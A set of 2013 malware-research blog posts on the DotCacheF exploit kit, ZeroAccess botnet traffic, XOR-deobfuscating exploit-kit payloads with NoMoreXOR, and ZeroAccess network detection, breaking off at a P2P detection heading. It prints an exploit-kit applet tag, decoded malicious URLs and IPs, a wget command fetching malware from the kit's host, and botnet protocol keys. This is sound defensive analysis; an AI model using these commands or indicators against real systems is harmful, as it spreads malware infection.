DotCacheF - a short story

Just a brief wrap-up of my strange encounter with a cute little exploit kit called DotCacheF today. As far as I have understood the name comes from the "early days" when the EK was discovered and it had a URL structure: "*/.cache/?f*". Fair enough, but please ping me the next time someone have a chance to name a new exploit kit. I would have called it meanBalrogFoo EK or maybe even better BiggusDi*kus EK,(youtube distraction) But then again I'm a Monty Python fan.

Well enough about my bad ideas for naming EK's and lets have a look at what happened today.

Once again pinged by Malware Must Die on the hunt for a Java 0-Day.

@MalwareMustDie Will do, If I can find an angle. Little to go by...
— mal forsec (@malforsec) August 22, 2013

 That would have been cool to get my hands on, I thought.  One problem though the only clue to the puzzle was a urlquery report. And not just a report a very short report. Have a look here https://urlquery.net/report.php?id=4626937.  Hmm just a HTTP 204 response.

Having never looked in detail, myself, at the BiggusDickus, ehm DotCacheF, EK before I had to look into what this was all about. Had a brief chat with @secluded_memory, looked at @malwaresigs and checked out the write-up over at basemont.com.
Everywhere the EK stopped by a URL looking something like "hxxp://www.googlecodehosting.com/openx/js/zone_functions.js?cp=8998". And in my tiny brain I thought that must be a Gate(another youtube distraction) we have to pass through to be able to get to the valuables hidden inside the EK. So could it be possible to brute force this gate? Would a random hit do it? A couple of urlquery reports later: NOTHING. Since it was a work day, back to work.

Then came another tweet

@chort0 @hugbomb @MalwareMustDie Is the http://t.co/Ck8rlfpyUI you sent me (CVE-2013-2423) the applet from https://t.co/2cUqlTWGxQ?
— Timo Hirvonen (@TimoHirvonen) August 22, 2013

Aaahh - more info to the rescue. So we got the applet tag and the applet/class files too. Strange -  thought the quest was for a JAR. But OK lets see if we can get the payload anyway:

2013-08-25: Be aware the kit is still alive!!!

Applet tag from the EK:

<?xml version="1.0" encoding="UTF-8"?>
<jnlp spec="1.0" xmlns:jfx="http://javafx.com" href="app.jnlp">
  <information>
    <title>Applet Test JNLP</title>
    <vendor>atom</vendor>
    <description>atom</description>
    <offline-allowed/>
  </information>
  <resources>
    <j2se version="1.7+" href="http://java.sun.com/products/autodl/j2se"/>
    <jar href="hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=a&k=6315393794068431" main="true"/>
  </resources>
  <applet-desc name="atom" main-class="Auto" width="1" height="1">
    <param name="__applet_ssv_validated" value="true"/>
    <param name="url" value="aHR0cDovL3d3dy5lZXNjb25zdWx0aW5nLm5ldC9mYmMvc2l0ZXMvZGVmYXVsdC9maWxlcy9zdHlsZXMvMGJkZmNjZGE4Zi9lZjdmZDgzOWYxLz9mPXNtX21haW4ubXAzJms9NjMx
NTM5Mzc5NDA2ODQ0Mg=="/>
  </applet-desc>
  <update check="background"/>
</jnlp>

Sweet we got the JAR URL and we got a couple of parameters. One parameter which looked to be especially interesting. With the characteristics of base64 encoding.

param url encoded:

 aHR0cDovL3d3dy5lZXNjb25zdWx0aW5nLm5ldC9mYmMvc2l0ZXMvZGVmYXVsdC9maWxlcy9zdHlsZXMvMGJkZmNjZGE4Zi9lZjdmZDgzOWYxLz9mPXNtX21haW4ubXAzJms9NjMx
NTM5Mzc5NDA2ODQ0Mg==

Decoded:

hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=sm_main.mp3&k=6315393794068442

Lets fetch it the malware:

wget "hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=sm_main.mp3&k=6315393794068442" --user-agent="Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0 Java/1.6.0_21" -v a getlog -O za.exe
--2013-08-22 --  hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=sm_main.mp3&k=6315393794068442
Resolving www.eesconsulting.net... 69.25.136.179
Connecting to www.eesconsulting.net|69.25.136.179|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 279040 (272K) [audio/mpeg]
Saving to: `za.exe'

100%[===================================================================================>] 279,040     57.7K/s   in 4.7s    

2013-08-22 (57.7 KB/s) - `za.exe' saved [279040/279040]

Nice. The case was solved.

Fetching the JAR with "fully patched" Java:

--2013-08-22 --  hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=a&k=6315393794068431
Resolving www.eesconsulting.net... 69.25.136.179
Connecting to www.eesconsulting.net|69.25.136.179|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10304 (10K) [application/x-java-archive]
Saving to: `7u25.jar'

     0K ..........                                            100% 42.4K=0.2s

2013-08-22  (42.4 KB/s) - `7u25.jar' saved [10304/10304]

Just throws back the same JAR file with the vulnerability to exploit pre 7u17. So the EK is not equipped wtih the newest Java exploits then I guess.

Epilogue
Pretty straight forward EK to deal with. No evil gates. No obfuscation of the exe files.

Vitustotal for the EXE
Virustotal for the JAR

Happy getting exploits and malware out of the DotCacheF EK

Update 2013-08-23
Looks like @malwageddon have an analysis of DotCacheF posted on his blog

ZeroAccess network traffic analysis Reloaded

It's been 6 months since the last time I really sat down and looked into the network mysteries of ZeroAccess, described in my post ZeroAccess analysis part I - Network traffic.

I have seen several reports of changes to the binaries. Like this one from @MalwareMustDie and @hFireFOX

@MalwareMustDie Sirefef updated. No more MSCF usage, instead aplib compression, different startup method masquerading as google update.
— FireF0X (@hFireF0X) July 30, 2013

and also a couple of reports regarding the initial connect IP addresses (Commented on my blog and also by @unixfreaxjp

In the mean time the now infamous ZeroaAccess botnet have got lots of press coverage, especially for its bitcoin mining functionality, and seem to be as big if not bigger than ever. Reports vary in number, as always, but a fair guess is probably close to 10 million bots these days. The ZA botnet comes in two variants. One for bitcoin mining and one for click fraud.
So lets see if the betwork traffic from these bots have changed much or not:

1. The bot wants to know where in the world it's installed

This is done by a geoIP lookup towards the maxmind geoIP database. DNS lookup and HTTP query for lookup expected.

 Thats excactly the first thing that happens.  The geoIP lookup contains country code, city, metro code and so on, but I guess that only country code is used.

2. Install and report

The bot is then expected to install itself and report back. Last time it reported back to 194.165.17.3 this time it has switched to 194.165.17.4.

The udp payload is port 53, but not DNS. Lets have a closer look: 

080e745d8e9c9e9853765c3529717a624e1d7ced

Looks like ZA have done little to further obfuscate the install traffic, but lets xor it it with the key, which is "LONG" and bit rotate for every iteration:

4f403b110L0000004e4f610413030000aL938f98

Byte 0-3: should be bot id

Byte 8-9: country code - in this case NO 

Byte 10: 61 OS version

The early conclusion was correct. Still reporting the same info at install time using the same XOR key and scheme.

3. Flashplayer install

For some reason the bot goes on to update the flashplayer

This is where the update ends on my virtual system. Not perfect...

4. Start to find alive supernodes

The bot want to get fully operational and starts looking for live Supernodes. The initial IP's are probably hardcoded. Some of them are actually the same as six mionths earlier. UDP to port 16464 is still the method used by the bot. The first hit on a supernode on udp port 16464 automatically shifts the communication to TCP on the same port. 

This should be requests to get P2P lists. Lets look inside:

UDP payload: 463fdb8b28948dabc9c0d199f08c0f06

We recognize this from earlier analysis as byte 4-7  (28948dab) wil be Lteg when XORed with the correct key(ftp2) and bitwise rotated left. No change here either.

The TCP traffic is the same as well. Update plugins:

cb:00:00:80:09:b5:28:3f:00:5c:00:00 -> get file 800000cb

01:00:00:00:3b:cd:03:3f:90:03:00:00 -> get file 00000001

00:00:00:80:9e:e2:0c:3f:00:2e:00:00 -> get file 80000000

The requests have not changed at all!

The answer is encrypted plugins.

5. Continue the search for P2P lists

The getL command should be answered with a retL command:

Payload:

ef81564b28948dbec9c0d1998381a333d9fcb8984c068eceb7ece3623319383a3fed8f8bcc64e0e850443f2e339381a3a2a0fcb8ce4c068e581cf3e33a3319382f0acd8fe8cc64e0bbdb363fa33393810525d9fc8ece4c0641bd66f3383a3319288998cde0e8cc649925673681a3339370b699d9068ece4c50f9636619383a3365af8a9964e0e8ccbc192f669381a333250347674d068ecea2c11fa2a31a383ad2861bf1a448b786028d5cb7d3d927365ae701cb7bed89249525050bc3fd1b8f248f0027ce034fc52381ad7840104cf42092c55eacf96752315437cab6bd3b71838f90170723f159ef3ca6540f96849f739d96aadf1832520574c434353c774c6ad7aac9d00443a0707b0480d3e80352030a1411e5122714ba999cd21f67cc00663270f45286ecd799e7c0d1fb231230a899f2d9a79dc04eeaa1f950a16cd023501d6fd2c79b80ace52ad4eacc427379f0b75340880d43f5baf61497927c7dacc8e5165b191021be60b0da569954efa64bda7be8b83f46804c281ac0dcea96111509315824a92e84effb50a25237b06637ebd273771c9a15c3278a2cd36b819d3e754bd50692608dffd5c7bef89381236e932b78ce10068e23a764a17c91aef689cbae1e3a80e27d7b1b116ea51703388ddeb8703d1ce920b860102e7423f1f5f8a3b1e3b553d50f39ea11b9890d1172898056fc5683c02f7c5919e6da431d6be66dafc61ddae2f85f73562f7d011aeee098bf4bffce520a86204cf7fa7e381fb4911b139c269b8cec57e659d95870bb9ed74977a33623bb

Decrypted payload:

ddf1222dc445726000000010000000fffffff0000000e02feff000000009f5fdff00000009dcf8ff000000056cf8ff000000055cf8ff00000000bc5f6ff0000000a26f4ff0000000224f4ff00000000d05f2ff000000008d5efff00000000945efff0000000317efff00000000c55eeff000000007f5edff0000000597edff00000000030000001000000bd33cf09003000044bbb568c672e5b49c4690ae645ad132cc051bfaa808bc09179ef2c7050e932576f2bc5228f418633ef25d67f5e35d22372b54d92ec6a8e870868f3fbf625e7cb3d3dfd2fed3e5873cb0a71dcfd996fc1e98096d52c044d7f875eafd44bbeca9bb5b9d4069a0612509537694a91aa35209f82c7ef43a0000000e29cef00e0020080c3b39ffc1bef9166d0c7738f54c9b5fc91b4b2d725f7245ce433dba1f16078eb7d07543630fc306bad6b8a6ae454b891706998fdfae01a36f4871cf5d8d4c9e1e1b8bc80447398c5d2ac222779453e094648c6b213b8c1b6135511e89514ba341b1ab5621902e977b875b413a6c0f586c671f0b0c000009b5283f0c00500eeb83d66247aebfdad9c6e2cd64d8a2a88ed6400299cab99e73b3d2a526a4fd8922c9421cc8787d1d55bb196b9bf83088e02a12a781ca3500d0e6305744f8c37b27584ddb10d9a7a3406397b68e0e98dbc69bf82c38bcc4dfc102a5c9670025d2a36b67025b4475e76982abe1c8ff9f14a30da65752

As before:

0e 02 fe ff -> 14.2.254.255 and so on...

No changes to the P2P communication either.

6. Final callback to tell the world it's alive

To register it self and letting the bot herder know the bor is ready it fakes ntp traffic

7. Conclusion

Even if the ZA binary and the obfuscation/camuflague of the malware binary and downloads do keep on changing it seems like the communication and the botnet main features stay the same.

No changes has really occured in the past 6 months. This is good for us, the good guys, trying to protect networks and clients as it is an easy task to detect ZA activity on a network. The installation, P2P traffic and call home traffic are all covered in my previous posts on ZA. 

ZeroAccess network detection 

This means we can move on to new analysis again and just relax and know that we do catch ZA on our networks.

Thanks to @MalwareMustDie for providing the sample for research.

Happy relaxing :)

Post publish refernces:
Symantect  - ZeroAccess Modifies Peer-to-Peer Protocol for Resiliency

A peak at NoMoreXOR

I have, since I heard about it in April, wanted to take a closer look at NoMoreXOR a Python tool made by Glenn over @Hiddenillusion 

When dealing with exploit kits we have a need to deobfuscate the final payload that these "Mass customized attacks" (see this video on the topic -> I liked) are throwing our way. Since I do not do Sudoku I very much like the pussle of going through some obfuscated Java code to figure out how to deobfuscate the payloads, but sometimes when we need a quick answer to what really hit us,  a tool would be great.

Hopefully NoMoreXor can help us to achieve that.

When I stumbled over a Blackhole EK here the other day I thought it would be a good opportunity to test NoMoreXOR on the payloads. So I fetched 4 JAR files and the obfuscated binary to be sure we had something to work with. For info on how to download exploits and payloads from BHEK see my "Analyzing Blackhole EK" post. My last post was about Neutrino  . We had a xored payload from there as well which we can play with. And finally we will have a look at Zeroaccess  getL messages(small hope for help on those, but we will see).

1. NoMoreXOR vs Neutrino binary payloads

Lets look at the file we want to deobfuscate:

0000000: 3c31 c3a9 7572 6b79 7575 6b79 75c2 8ec2  <1..urkyuukyu...
0000010: 9479 75c3 896b 7975 716b 7975 316b 7975  .yu..kyuqkyu1kyu
0000020: 716b 7975 716b 7975 716b 7975 716b 7975  qkyuqkyuqkyuqkyu
0000030: 716b 7975 716b 7975 716b 7975 716b 7975  qkyuqkyuqkyuqkyu
0000040: c2a1 6b79 757f 74c3 837b 71c3 9f70 c2b8  ..kyu.t..{q..p..
0000050: 50c3 9378 39c2 bc4a 2d1d 1818 5905 0304  P..x9..J-...Y...
0000060: 1e07 1006 5916 1005 171a 054b 1b10 5119  ....Y......K..Q.
0000070: 0c1b 5102 1755 3524 2a55 1c04 1d10 5f66  ..Q..U5$*U...._f
0000080: 747f 556b 7975 716b 7975 320b c3a8 c39a  t.Ukyuqkyu2.....
0000090: 766a c286 c289 766a c286 c289 766a c286  vj....vj....vj..
00000a0: c289 51c2 acc3 bbc2 8977 6ac2 86c2 8976  ..Q......wj....v
00000b0: 6ac2 87c2 891c 6ac2 86c2 8951 c2ac c3bd  j.....j....Q....
00000c0: c289 796a c286 c289 51c2 acc3 bcc2 8977  ..yj....Q......w
00000d0: 6ac2 86c2 8951 c2ac c3ab c289 606a c286  j....Q......`j..
00000e0: c289 51c2 acc3 bac2 8977 6ac2 86c2 8951  ..Q......wj....Q
00000f0: c2ac c3be c289 776a c286 c289 2302 1a1d  ......wj....#...
0000100: 766a c286 c289 212e 7975 3d6a 7a75 065f  vj....!.yu=jzu._
0000110: c297 3571 6b79 7571 6b79 75c2 916b 7a74  ..5qkyuqkyu..kzt
0000120: 7a6a 7175 71c3 8f79 7571 c393 7b75 716b  zjquq..yuq..{uqk
0000130: 7975 5b49 7975 717b 7975 71c2 ab79 7571  yu[Iyuq{yuq..yuq
0000140: 6b39 7571 7b79 7571 6979 7575 6b79 7571  k9uq{yuqiyuukyuq
0000150: 6b79 7575 6b79 7571 6b79 7571 c3ab 7a75  kyuukyuqkyuq..zu
0000160: 716f 7975 3523 7a75 736b 7975 716b 6975  qoyu5#zuskyuqkiu
0000170: 717b 7975 716b 6975 717b 7975 716b 7975  q{yuqkiuq{yuqkyu
0000180: 616b 7975 716b 7975 716b 7975 1dc3 8779  akyuqkyuqkyu...y
0000190: 75c3 bd6b 7975 711b 7a75 7963 7975 716b  u..kyuq.zuycyuqk
00001a0: 7975 716b 7975 716b 7975 716b 7975 716b  yuqkyuqkyuqkyuqk

We can see patterns and repetitive chars here. Definately a candidate for XOR. And since we know it to come from an exploit kit we expect win binaries, so it is obuscated.

Lets run NoMoreXOR:

remnux@remnux:~/EK/xor/neutrino$ NoMoreXOR.py -a -o out.hex neutrino.bin
[+] Attempting auto analysis
[+] HEXing................................: neutrino.bin
[+] Saving as.............................: out.hex
[+] Attempting to guess the XOR key of....: out.hex
[+] Size of content.......................: 379904
[+] Total pages (1024k)...................: 371
[+] Total contiguous 512 chunks...........: 742
[+] Top (5) overall chars
=============================================
 Occurences | Character(s)
---------------------------------------------
      13797 = 0x75
      13619 = 0x79
      13488 = 0x6b
      13332 = 0x71
       1479 = 0x86

[+] Total number of unique 512 chunks.....: 642
[+] Top (5) 512 char sequences after cleanup
=============================================
 Occurences | Character(s)
---------------------------------------------
 101 = 716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975

 1 = 6e662191ae967f7997adda6f52d7e87c32615ae3afb5d8e378dd4ee885db350032415823d25ce457717afb2c716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975716b7975

Being no expert on the tool: I think it is telling us that the key is about 4 byte and that the values are 0x75, 0x79, 0x6b and 0x71 (ascii: u, y, k q). Look in the Neutrino post and you will see that thats correct :) At least those are overrepresented in the file. The tool gives us 5 candidates for keys and 5 candidates for files that should be deobfuscated. We have to go hrough them and figure out which one we think fits best.

Lets have a look at candidate 0:

0000000: 4d5a c290 0003 0000 0004 0000 00c3 bfc3  MZ..............
0000010: bf00 00c2 b800 0000 0000 0000 4000 0000  ............@...
0000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000040: c390 0000 000e 1fc2 ba0e 00c2 b409 c38d  ................
0000050: 21c2 b801 4cc3 8d21 5468 6973 2070 726f  !...L..!This pro
0000060: 6772 616d 2063 616e 6e6f 7420 6265 2072  gram cannot be r
0000070: 756e 2069 6e20 444f 5320 6d6f 6465 2e0d  un in DOS mode..
0000080: 0d0a 2400 0000 0000 0000 4360 c291 c2af  ..$.......C`....
0000090: 0701 c3bf c3bc 0701 c3bf c3bc 0701 c3bf  ................
00000a0: c3bc 20c3 87c2 82c3 bc06 01c3 bfc3 bc07  .. .............
00000b0: 01c3 bec3 bc6d 01c3 bfc3 bc20 c387 c284  .....m..... ....
00000c0: c3bc 0801 c3bf c3bc 20c3 87c2 85c3 bc06  ........ .......
00000d0: 01c3 bfc3 bc20 c387 c292 c3bc 1101 c3bf  ..... ..........
00000e0: c3bc 20c3 87c2 83c3 bc06 01c3 bfc3 bc20  .. ............ 
00000f0: c387 c287 c3bc 0601 c3bf c3bc 5269 6368  ............Rich
0000100: 0701 c3bf c3bc 5045 0000 4c01 0300 7734  ......PE..L...w4
0000110: c3ae 4000 0000 0000 0000 00c3 a000 0301  ..@.............

Hey that looks to be pretty close.  The other candidates did not look like win exe files so we stop at the first one. Luckily I made a python tool to deobfuscate the neutrino binary received. So lets do a diff on the files and check:

remnux@remnux:~/EK/xor/neutrino$ diff -s neutrino.exe neutrino.bin.0.unxored 
Files neutrino.exe and neutrino.bin.0.unxored are identical

Yes they match exactly :) Nice NoMoreXOR!

2. NoMoreXOR vs Blackhole binary payloads

Lets look at the payload received from the blackhole EK:

0000000: 2f1e 3618 c289 7c6e 50c2 b614 c3b6 c3a8  /.6...|nP.......
0000010: 2533 3ec2 a0c2 bac3 a4c3 8638 c2aa 1cc2  %3>........8....
0000020: 8e70 12c2 b416 c288 7a6c 5e40 c2a2 04c3  .p......zl^@....
0000030: a6c3 98c3 8a3c c2ae 10c3 b2c3 9436 c2a8  .....<.......6..
0000040: 1ac2 8c7e 6042 c2a4 06c3 b8c3 aac3 9cc3  ...~`B..........
0000050: 8e30 c292 7456 483a 2cc2 9e00 c3ac c39b  .0..tVH:,.......
0000060: c29c c296 0a48 c3a7 1d13 2c77 24c2 976d  .....H....,w$..m
0000070: c3aa 48c3 ab17 66c3 8858 c3b3 69c2 82c2  ..H...f..X..i...
0000080: b359 c2b6 6bc2 9bc2 82c2 b0c2 af56 c2a4  .Y..k........V..
0000090: 043d 6ac3 8e5b c3be 523d c398 08c3 9e43  .=j..[..R=.....C
00000a0: c2ad c380 c2af 4bc3 a21d 4451 43c2 ba36  ......K...DQC..6
00000b0: c3b4 c396 c388 3ac2 ac1e c280 3201 c2a6  ......:.....2...
00000c0: 18c3 867d 6850 3256 52c2 b9c3 9ac3 8c3e  ...}hP2VR......>
00000d0: c2a0 02c3 a4c3 8638 4a1c c281 7159 c2b5  .......8J...qY..
00000e0: 14c2 ba7a 1a5e 40c2 a2c3 8cc3 a7c3 98c3  ...z.^@.........
00000f0: 8a3c c2ae 1002 c28d 36c2 a81a c29c 7e60  .<......6.....~`
0000100: 4204 06c3 b8c3 aac3 9cc2 8e30 c292 6456  B..........0..dV
0000110: 48c2 ba2e c29e 00c3 a6c3 8426 c298 0ac3  H..........&....
0000120: bcc3 aec3 9036 c294 7668 5a4c c2be 20c2  .....6..vhZL.. .
0000130: 82c3 a444 c2b8 2ac2 980e c3b0 76c2 aec2  ...D..*.....v...
0000140: 9408 c3b8 c3ac c39e c380 22c2 8476 584a  .........."..vXJ
0000150: c2ac 2ec2 9072 54c2 a628 c29a 1cc3 bec3  .....rT..(......
0000160: a0c3 8224 c286 787a 5c4e c2b0 12c3 b4c3  ...$..xz\N......
0000170: 96c3 883a c2ac 1ec2 80c3 aec3 b1c2 a718  ...:............
0000180: c2b6 7c6e 50c2 b2c3 94c3 b7c3 a876 763e  ..|nP........vv>
0000190: c2a0 02c3 a4c3 8638 c2aa 1cc2 8e70 52c3  .......8.....pR.
00001a0: b614 c288 c282 715e 40c2 a204 c3a6 c398  ......q^@.......
00001b0: c38a 3cc2 ae10 c3b2 c394 36c2 a81a c28c  ..<.......6.....
00001c0: 7e60 42c2 a406 c3b8 c3aa c39c c38e 30c2  ~`B...........0.
00001d0: 9274 5648 c2ba 2cc2 9e00 c3a2 c384 26c2  .tVH..,.......&.
00001e0: 980a c3bc c3ae c390 32c2 9476 685a 4cc2  ........2..vhZL.

Not so easy to determine. Could it be encrypted? Again a payload binary from an exploit kit so we expect a win exe. Lets run NoMoreXOR

remnux@remnux:~/EK/xor/blackhole$ NoMoreXOR.py -a -o out.hex a.bin
[+] Attempting auto analysis
[+] HEXing................................: a.bin
[+] Saving as.............................: out.hex
[+] Attempting to guess the XOR key of....: out.hex
[+] Size of content.......................: 311280
[+] Total pages (1024k)...................: 303
[+] Total contiguous 512 chunks...........: 607
[+] Top (5) overall chars
=============================================
 Occurences | Character(s)
---------------------------------------------
        943 = 0x56
        939 = 0x8a
        935 = 0x1a
        934 = 0x3a
        931 = 0x6a

[+] Total number of unique 512 chunks.....: 467
[+] Top (5) 512 char sequences after cleanup
=============================================
 Occurences | Character(s)
---------------------------------------------
 134 = f2d436881aecfec0228466784a5cae30927456a83a8c1ee0c2248618eafcced0329476485aac3e806244a6388a1ceef0d23496687a4c5ea002e4c6d82abc0e907254b6089a6c7e40a204e6f8cadc2eb012f4d628ba0c9e6042a406986a7c4e50b214f6c8da2cbe00e2c426b80a9c6e7052b416e8faccde2082644658aa3c8e10f2d436881aecfec0228466784a5cae30927456a83a8c1ee0c2248618eafcced0329476485aac3e806244a6388a1ceef0d23496687a4c5ea002e4c6d82abc0e907254b6089a6c7e40a204e6f8cadc2eb012f4d628ba0c9e6042a406986a7c4e50b214f6c8da2cbe00e2c426b80a9c6e7052b416e8faccde2082644658aa3c8e10

 6 = 6244a6188a7c6e50b214f6e8dacc3ea002e4c638aa1c8e7052b416887a6c5e40a204e6d8ca3cae10f2d436a81a8c7e6042a406f8eadcce3092745648ba2c9e00e2c426980afceed0329476685a4cbe20826446b82a9c0ef0d2349608faecdec0228466584abc2e907254b6289a0cfee0c22486786a5c4eb012f4d6c83aac1e806244a6188a7c6e50b214f6e8dacc3ea002e4c638aa1c8e7052b416887a6c5e40a204e6d8ca3cae10f2d436a81a8c7e6042a406f8eadcce3092745648ba2c9e00e2c426980afceed0329476685a4cbe20826446b82a9c0ef0d2349608faecdec0228466584abc2e907254b6289a0cfee0c22486786a5c4eb012f4d6c83aac1e80

Nothing to conclude from this output? Seems like there is one key though...

Again 5 files to look more into.

File 0:

0000000: c39d c38a 00c2 90c2 93c2 90c2 90c2 90c2  ................
0000010: 94c2 90c2 90c2 906f 6fc2 90c2 9028 c290  .......oo....(..
0000020: c290 c290 c290 c290 c290 c290 c390 c290  ................
0000030: c290 c290 c290 c290 c290 c290 c290 c290  ................
0000040: c290 c290 c290 c290 c290 c290 c290 c290  ................
0000050: c290 c290 c290 c290 c290 c290 c290 c290  ................
0000060: c290 c290 c290 c290 c290 c290 c290 c290  ................
0000070: c290 c290 10c2 90c2 90c2 90c2 9ec2 8f2a  ...............*
0000080: c29e c290 24c2 995d c2b1 28c2 91c3 9c5d  ....$..]..(....]
0000090: c2b1 c384 c3b8 c3b9 c3a3 c2b0 c3a0 c3a2  ................
00000a0: c3bf c3b7 c3a2 c3b1 c3bd c2b0 c3b3 c3b1  ................
00000b0: c3be c3be c3bf c3a4 c2b0 c3b2 c3b5 c2b0  ................
00000c0: c3a2 c3a5 c3be c2b0 c3b9 c3be c2b0 c394  ................
00000d0: c39f c383 c2b0 c3bd c3bf c3b4 c3b5 c2be  ................
00000e0: c29d c29d c29a c2b4 c290 c290 c290 c290  ................
00000f0: c290 c290 c290 c380 c395 c290 c290 c39c  ................
0000100: c291 c296 c290 10c3 9234 c381 c290 c290  .........4......
0000110: c290 c290 c290 c290 c290 c290 70c2 90c2  ............p...

Not what we where looking for, continue

File 1:

0000000: 4d5a c290 0003 0000 0004 0000 00c3 bfc3  MZ..............
0000010: bf00 00c2 b800 0000 0000 0000 4000 0000  ............@...
0000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000040: c280 0000 000e 1fc2 ba0e 00c2 b409 c38d  ................
0000050: 21c2 b801 4cc3 8d21 5468 6973 2070 726f  !...L..!This pro
0000060: 6772 616d 2063 616e 6e6f 7420 6265 2072  gram cannot be r
0000070: 756e 2069 6e20 444f 5320 6d6f 6465 2e0d  un in DOS mode..
0000080: 0d0a 2400 0000 0000 0000 5045 0000 4c01  ..$.......PE..L.
0000090: 0600 c280 42c2 a451 0000 0000 0000 0000  ....B..Q........
00000a0: c3a0 000f 010b 0102 3200 7600 0000 c388  ........2.v.....
00000b0: 0100 0000 0000 c3b0 5900 0000 1000 0000  ........Y.......
00000c0: c2a0 0000 0000 4000 0010 0000 0002 0000  ......@.........
00000d0: 0400 0000 0000 0000 0400 0000 0000 0000  ................
00000e0: 00c2 8002 0000 0400 00c2 a4c2 9a02 0002  ................
00000f0: 0000 0000 0010 0000 1000 0000 0010 0000  ................
0000100: 1000 0000 0000 0010 0000 0000 0000 0000  ................
0000110: 0000 00c2 8cc2 b501 003c 0000 0000 c380  .........<......
0000120: 0100 c2ac c2ba 0000 0000 0000 0000 0000  ................
0000130: 0042 0200 c3b8 1d00 0000 0000 0000 0000  .B..............
0000140: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000150: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000160: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000170: 00c3 a8c2 b501 0020 0000 0000 0000 0000  ....... ........
0000180: 0000 0000 0000 0000 0000 0000 0000 0000  ................

Nice, thats more like it.

Now lets test it -> I ran it; and what else to expect than Ransomeware.

2-0 to NoMoreXOR - Great!

3. NoMoreXOR vs Zeroaccess getL messages

Lastly lets have a brief look at ZeroAccess P2P traffic that we know to be XORed.
Original traffic:

0000000: c2b8 3f35 c3be 28c2 94c2 8dc2 abc3 89c3  ..?5..(.........
0000010: 80c3 91c2 99c2 85c2 956f 3f0a            .........o?.

Output from NoMoreXOR:

remnux@remnux:~/EK/xor/zeroaccess$ NoMoreXOR.py -a -o out.hex getl2
[+] Attempting auto analysis
[+] HEXing................................: getl2
[+] Saving as.............................: out.hex
[+] Attempting to guess the XOR key of....: out.hex
[+] Size of content.......................: 56
[+] Total pages (1024k)...................: 0
[+] Total contiguous 512 chunks...........: 0
[+] Top (5) overall chars
=============================================
 Occurences | Character(s)
---------------------------------------------
          7 = 0xc2
          4 = 0xc3
          2 = 0x3f
          1 = 0xbe
          1 = 0xab

[+] Total number of unique 512 chunks.....: 1
[+] Top (5) 512 char sequences after cleanup
=============================================
 Occurences | Character(s)
---------------------------------------------
 1 = c2b83f35c3be28c294c28dc2abc389c380c391c299c285c2956f3f0a

[+] Trying XOR key : c2b83f35c3be28c294c28dc2abc389c380c391c299c285c2956f3f0a
[+] XOR'ing................................: getl2
[+] Saving as..............................: getl2.0.unxored
[+] Scanning with Yara
[-] Using rules............................: /usr/local/etc/capabilities.yara

Only one candidate this time:

0000000: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000010: 0000 0000 0000 0000 0000 0000 0a         .............

No luck this time.  I guess the tool was not made for it either.

4. Conclusion

Seems like we have found a really useful tool here. Thanks to @Hiddenillusion for sharing. As this  tool is totally open source we are able to extend the tool should we want to do that.

Happy XORing Exploit Kit payloads

For description and how to use see the link to Hiddenillusions above.

Further reading:

Malwarebites on XOR - By Joshua Cannell

SANS DFIR - By Lenny Zeltser

ZeroAccess Network detection

If you are into NIDS you probably want to look into detecting ZeroAccess traffic on your network. It is still spreading and infecting computers through exploit kits. F-Secure said it was the most profitable and fastest growing botnet of 2012. In addition, not all NIDS vendors have signatures to detect this by default configuration.

For analysis of the network traffic look at my post «ZeroAccess analysis part I – Network traffic». I have also made a python script to check if a remote host is infected – infomation about that can be found in the post «Checking ZeroAccess with Python and Scapy»

ZeroAccess is not the worst thing to get on your network, but you never know when that is going to change or what other bad stuff is on your vulnerable hosts. And, of course, we do not want these guys to earn money on our watch.

1. Detect the installation

Detecting the installation phase of the bot is nice as we can then also look into the infection mechanism and aslo see what the host was vulnerable to and fix it.

During the installation the bot talks to a set of hardcoded addresses on UDP port 123 and UDP port 53. (camouflaging as NTP and DNS). The port 53 traffic is distinctive as the UDP payload byte 8-9 are the country code after a geoIP lookup to maxmind. This is NSCount if it was DNS traffic, so by looking up country codes here we should have little chance for False Positives. One problem though the UDP payload is XORED so we need to find the corect country code.

Luckily I have made a script to generate the correct hex values:

So all we have to do then is create a signature that detects UDP port 53 traffic that has byte 8-9 set to our local country code. That should not hit performance to bad either. Alert for ZeroaAccess installation detected.

The UDP 123 traffic can be detected pretty much tha same way. UDP payload byte 0-1 will be 0x474e and the followeb by country code again. Once again XORED so we need to generate our country code:

Alert for ZeroAccess bot installation complete with UDP port 123 and the bytes given above that is correct for your environment.

That should reliably detect ZeroAccess installations.

2. Detect P2P update traffic

